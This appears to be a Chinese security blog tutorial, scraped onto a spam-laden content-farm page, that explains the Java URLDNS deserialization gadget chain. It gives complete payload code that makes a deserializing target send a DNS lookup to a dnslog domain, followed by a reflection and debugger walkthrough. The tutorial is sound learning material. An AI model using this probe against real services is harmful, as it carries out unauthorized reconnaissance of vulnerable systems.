当前位置: 首页 > news >正文

自己做的网站提示不安全吗android优化大师

自己做的网站提示不安全吗,android优化大师,神马关键词快速排名软件,新疆建设工程综合信息网官网Java安全 反序列化(1) URLDNS链原理分析 文章目录 Java安全 反序列化(1) URLDNS链原理分析前置知识应用分析payload1.新建HashMap类2.新建URL类3.获取URL 的 Class对象4.通过反射访问URL内部变量5.通过反射为URL中类赋值6.调用HashMap#put方法传入key和value7.再次通过反射为UR…

Java安全 反序列化(1) URLDNS链原理分析

文章目录

  • Java安全 反序列化(1) URLDNS链原理分析
    • 前置知识
    • 应用
    • 分析payload
      • 1.新建HashMap类
      • 2.新建URL类
      • 3.获取URL 的 Class对象
      • 4.通过反射访问URL内部变量
      • 5.通过反射为URL中类赋值
      • 6.调用HashMap#put方法传入key和value
      • 7.再次通过反射为URL类的hashcode赋值
    • 原理分析
      • 1.进行序列化
      • 2.跟进HashMap的readobject方法
      • 3.跟进hash方法
      • 4.可以跟进URL的hashCode方法
      • 5.跟进handler.hashCode方法
    • 细节问题
      • 为什吗要给URL类hashCode赋值两次?

开始学习Java反序列化链–URLDNS

前置知识

请提前了解Java序列化和反序列化,熟悉Java反射机制

应用

1.判断是否存在反序列化的点

2.判断目标是否出网

先上payload 后进行分析

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {public static void main(String[] args) throws Exception {HashMap hashmap =new HashMap();URL url = new URL("http://wxzzwpgygc.dgrh3.cn");Class c = url.getClass();Field fieldhashcode=c.getDeclaredField("hashCode");fieldhashcode.setAccessible(true);fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询serialize(hashmap);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(newFileInputStream("ser.bin"));ois.readObject();ois.close();}
}

image-20240315190036643

可以触发dns请求

分析payload

1.新建HashMap类

 HashMap hashmap =new HashMap();

什么是HashMap:

基于哈希表的实现的Map接口
在这里插入图片描述

我们简单理解为 URLDNS链的入口类,知道这个东西就行了

2.新建URL类

 URL url = new URL("http://wxzzwpgygc.dgrh3.cn");

3.获取URL 的 Class对象

 Class c = url.getClass();

用于操作反射

4.通过反射访问URL内部变量

 Field fieldhashcode=c.getDeclaredField("hashCode");fieldhashcode.setAccessible(true);

5.通过反射为URL中类赋值

 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1

6.调用HashMap#put方法传入key和value

hashmap.put(url,2);

hashmap.put(key,value)

key 为前面新建的url类

value 为任意值

7.再次通过反射为URL类的hashcode赋值

fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询

赋值URL类中的hashcode为-1

触发dns请求,完成访问

原理分析

1.进行序列化

 public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}serialize(hashmap); //传入的obj为hashmap

image-20240315190440069

那么反序列化会自动触发HashMap的readobject方法

我们可以调试分析一下

Ctrl-B跟进实现原理

2.跟进HashMap的readobject方法

image-20240315191405977

在方法的最后调用了hash方法

image-20240315192007607

3.跟进hash方法

image-20240315192116541

进行判断只要key不为空

就 调用 key的hashCode()方法

我们传入的key是URL类的对象

所以调用的是URL#hashCode方法

4.可以跟进URL的hashCode方法

image-20240315192342511

只有hashCode为-1 时

会进入hashCode = handler.hashCode(this); this为当前对象的引用

5.跟进handler.hashCode方法

image-20240315192658793

我们在新建URL类时 传入了我们的dnslog地址

getHostAddress进行DNS解析,完成请求

细节问题

为什吗要给URL类hashCode赋值两次?

 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询

第一次查询的时候会进行缓存触发dns请求,将URL.hashCode设置为-1,put时触发dns请求,我们可以做个实验

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {public static void main(String[] args) throws Exception {HashMap hashmap =new HashMap();URL url = new URL("http://rcjynkewns.dgrh3.cn");
//        Class c = url.getClass();
//        Field fieldhashcode=c.getDeclaredField("hashCode");
//        fieldhashcode.setAccessible(true);
//        fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);
//        fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
//        serialize(hashmap);
//        unserialize();}
//    public static void serialize(Object obj) throws IOException {
//        ObjectOutputStream oos = new ObjectOutputStream(new
//                FileOutputStream("ser.bin"));
//        oos.writeObject(obj);
//        oos.close();
//    }
//    public static void unserialize() throws IOException, ClassNotFoundException
//    {
//        ObjectInputStream ois = new ObjectInputStream(new
//                FileInputStream("ser.bin"));
//        ois.readObject();
//        ois.close();
//    }
//}

只留下了hashmap的put方法

image-20240315193323871

image-20240315193452950

可以发现照样触发

为了避免误判

我们先将URL.hashCode属性赋值为 只要不是-1的值

hashmap.put()方法后

再通过反射修改URL.hashCode属性为-1 完成请求

http://www.zhongyajixie.com/news/27679.html

相关文章:

  • 棋牌游戏网站模板乐天seo培训
  • 电商如何推广自己的产品广州seo团队
  • 沈阳人流费用黑帽seo培训网
  • wordpress 为什么要ftpgoogle搜索排名优化
  • 无锡网站定制推广关键词优化
  • 弄一个小程序要多少钱长沙seo搜索
  • wordpress做的著名网站软件开发需要多少资金
  • 怎么给网站做友情链接企业宣传方式有哪些
  • 有效的网络编址方案有sem和seo有什么区别
  • gif图标网站百度seo优化是做什么的
  • 黄岛开发区做网站网络公司游戏推广赚钱
  • 河南股票配资网站建设上海高端seo公司
  • 三亚疫情管理措施品牌seo是什么
  • 快速优化网站排名搜索东莞网站推广软件
  • 佛山市网站建设 乾图信息科技站内优化
  • 做网站什么程序好打开百度首页
  • b2c网站的主要功能商丘seo
  • 定制网站收费关键词挖掘工具有哪些
  • 做网站销售好吗新品牌进入市场的推广方案
  • 网上商城是什么软件网站排名优化客服
  • 网站备案后更换主机武汉今日头条最新消息
  • 哪个网站做相册好win7优化配置的方法
  • 焦作app网站建设安阳seo
  • 垣曲做网站企业网站建设
  • 做网站所需技术网站服务器查询工具
  • 平台网站建设报价无锡哪里有做网站的
  • 做网站优化排名百度推广退款投诉
  • 无锡做网站需要多少钱广告免费发布信息
  • 免费建立手机网站吗semir森马
  • 导航网站建设金华网站推广